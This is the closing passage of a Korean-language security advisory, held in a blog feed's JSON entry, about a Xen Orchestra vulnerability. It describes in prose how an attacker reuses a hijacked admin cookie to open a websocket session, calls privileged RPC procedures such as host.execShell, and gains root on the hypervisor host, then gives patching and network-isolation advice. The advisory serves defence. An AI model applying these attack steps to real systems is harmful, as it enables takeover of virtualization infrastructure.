(VSA-2026-063)</h2>\n<p>관리자 세션을 탈취한 공격자는 Xen Orchestra의 실시간 웹소켓 RPC 엔드포인트(<code>/api/</code>)로 공격 표면을 확장합니다:</p>\n<ol><li><strong>웹소켓 핸드셰이크 권한 우회:</strong> 1단계에서 획득한 무력화된 관리자 쿠키를 사용해 웹소켓 연결을 수립합니다. 서버는 세션을 최고 권한 관리자로 영구 바인딩합니다.</li><li><strong>특권 RPC 프로시저 호출:</strong> Xen Orchestra 내부의 플러그인 관리 API 및 원격 진단 명령어 인터페이스(<code>vm.execute</code>, <code>host.execShell</code>)를 호출합니다.</li><li><strong>하이퍼바이저 호스트 명령 실행:</strong> 관리 콘솔이 설치된 리눅스 호스트의 root 권한으로 임의 쉘 스크립트가 실행되며, 물리 하이퍼바이저와 연결된 스토리지 네트워크 전체가 공격자 수중에 떨어집니다.</li></ol>\n<h2>4. 패치 분석 및 인프라 방어 가이드</h2>\n<p><strong>1. 긴급 보안 패치 즉시 적용:</strong></p>\n<p>Xen Orchestra 소스 빌드(XO-from-the-source) 및 공식 어플라이언스(XOA) 사용자는 배포된 최신 보안 릴리스로 즉시 업데이트하십시오. 최신 패치는 토큰 파싱 시 엄격한 스키마 검증(Strict String Type Check)을 강제하고 빈 객체 유입 시 즉시 세션을 파기하도록 수정되었습니다.</p>\n<p><strong>2. 관리 인터페이스 네트워크 분리 (임시 방어):</strong></p>\n<p>패치 적용 전까지 Xen Orchestra 웹 포트(80, 443)의 공용 인터넷 노출을 즉시 차단하고, 신뢰된 관리자 전용 내부 VPN 또는 전용 서브넷에서만 접근 가능하도록 방화벽 ACL을 재설정하십시오.</p>",
      "date_published": "2026-11-12T11:49:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "XenOrchestra",
        "VSA-2026-062",
        "가상화",
        "제로데이"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_xen_orchestra.png"
    }
  ]
}
